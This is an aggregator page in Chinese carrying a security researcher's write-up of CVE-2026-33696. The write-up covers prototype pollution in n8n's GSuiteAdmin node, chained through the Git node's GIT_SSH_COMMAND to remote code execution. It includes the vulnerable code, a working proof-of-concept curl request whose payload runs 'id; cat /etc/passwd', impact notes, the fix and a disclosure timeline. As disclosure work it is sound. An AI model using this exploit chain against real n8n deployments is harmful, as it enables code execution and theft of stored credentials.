CVE-2026-33696:从模式名称到 n8n 中的远程代码执行

Lobsters Hottest 新闻

摘要

这个 CVE 描述了 n8n 中的一个原型污染漏洞,可通过 Git 节点利用链被利用以实现远程代码执行。

<p><a href="https://lobste.rs/s/0emxj9/cve_2026_33696_from_schema_name_rce_n8n">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/08/16 17:58

# 从 Schema 名称到 n8n 远程代码执行 来源:https://simonkoeck.com/writeups/n8n-gsuiteadmin-prototype-pollution-rce ## 我是如何发现的 在审计 n8n 的节点实现时,我开始寻找用户提供的字符串作为普通对象属性键的位置。 我寻找的模式很简单:任何用户提供的字符串在未事先检查`__proto__`、`constructor`或`prototype`的情况下,作为普通对象属性键的位置。我检索了 nodes-base 包,GSuiteAdmin 节点立即引起了我的注意。 该节点在用户**创建**和**更新**操作中有一个“自定义字段”部分。它允许您指定架构名称、字段名称和值。这三者都来自工作流配置,这意味着拥有编辑权限的攻击者可以完全控制它们。架构名称被直接用作字段分组的动态键: ``` customSchemas[schemaName] ??= {}; (customSchemas[schemaName] as IDataObject)[fieldName] = value; ``` 这就是整个漏洞。如果 `schemaName` 是 `"__proto__"`,你就将内容写入了 `Object.prototype`。 ## 技术细节 ### 漏洞代码 GSuiteAdmin 节点在用户**创建**(第 520-521 行)和**更新**(第 802-803 行)操作中处理自定义架构字段时使用了相同的代码: ``` const customSchemas: IDataObject = {}; customFields.forEach((field) => { const { schemaName, fieldName, value } = field as { schemaName: string; fieldName: string; value: string; }; customSchemas[schemaName] ??= {}; // (1) (customSchemas[schemaName] as IDataObject)[fieldName] = value; // (2) }); ``` 当 `schemaName` 为 `"__proto__"` 时: 1. `customSchemas["__proto__"]` 触发了 `__proto__` getter,它返回 `Object.prototype`。它不是空值,因此 `??=` 赋值是一个空操作。 2. `(Object.prototype)[fieldName] = value` 将攻击者控制的字符串直接写入到全局对象原型上。 此后创建的每个普通对象都将继承被污染的属性。 ### 从原型污染到代码执行 仅污染本身就已很危险(它通过 TypeORM 使整个 n8n 实例崩溃。下文详述),但它还可以通过我在 XML 节点报告中发现的完全相同的利用链,链式攻击实现完整的 RCE。 利用链的工作原理如下: 1. **simple-git 创建一个普通的 env 对象。**当 Git 节点调用 `.env()` 时,simple-git 分配一个 `{}` 来保存环境变量。该对象继承自 `Object.prototype`。 2. **Node.js 的 `spawn()` 继承被污染的属性。**在构建子进程环境时,Node.js 遍历 env 对象的属性。包括从被污染原型继承来的属性。 3. **Git 尊重 `GIT_SSH_COMMAND`。**当 git 遇到 SSH 风格的 URL 时,它会将 `GIT_SSH_COMMAND` 作为 shell 命令执行。如果我们污染 `Object.prototype.GIT_SSH_COMMAND`,它将传播到 git 子进程中并被执行。 因此,完整的攻击路径是:**Webhook → GSuiteAdmin(污染) → Git(远程代码执行)**。 ### 概念验证 工作流设置: 1. **Webhook 节点**。`POST /rce` 2. **GSuiteAdmin 节点**。资源:用户,操作:创建。将自定义字段的架构名称、字段名称和值设置为从 webhook 读取的表达式。 3. **Git 节点**。操作:克隆,指向一个 SSH URL。 一个 HTTP 请求即可触发整个链条: ``` curl -X POST "https://TARGET/webhook/rce" \ -H "Content-Type: application/json" \ -d '{ "schemaName": "__proto__", "fieldName": "GIT_SSH_COMMAND", "value": "sh -c '\''id; cat /etc/passwd'\'' --" }' ``` GSuiteAdmin 节点在调用 Google API 时失败(这并不重要,污染在请求发送之前就已发生),然后 Git 节点使用被污染的 `GIT_SSH_COMMAND` 启动 `git clone`,以 n8n 进程用户的身份执行攻击者的命令。 ### 拒绝服务副作用 即使没有 RCE 链,污染本身也具有破坏性。在 `Object.prototype` 被污染后,TypeORM 的 `buildWhere` 函数通过 `for...in` 迭代会拾取额外的属性,并在每个数据库查询时抛出 `EntityPropertyNotFoundError`。n8n UI 会停止响应,所有工作流执行都会失败,实例需要完全重启才能恢复。 ## 影响 - **远程代码执行**:以 n8n 进程用户身份在所有部署类型(自托管、Worker 模式、Cloud)上执行代码。 - **凭证完全窃取**:n8n 进程持有所有存储凭证的加密密钥。 - **完全拒绝服务**:TypeORM 崩溃循环使实例在重启前无法使用。 修复很简单:在将危险属性名称用作对象键之前拒绝它们。在 `schemaName` 值上对 `__proto__`、`constructor` 和 `prototype` 进行黑名单检查(或为 `customSchemas` 使用 `Object.create(null)`)将完全防止污染。 n8n 的代码库已经有一个带有原型污染防护的 `deepMerge` 工具。GSuiteAdmin 节点只是没有使用它。 ## 时间线 1. 2025-02-26 向 n8n 安全团队提交报告 2. 2025-03-25 发布安全公告和 CVE

相似文章

AI工作空间劫持:Jscrambler NPM攻击剖析

Reddit r/artificial

攻击者劫持了Jscrambler的NPM凭证,发布了恶意版本,利用一个未记录的基于Rust的信息窃取器,从Cursor和Claude Desktop等AI工具中窃取API密钥和开发者历史记录。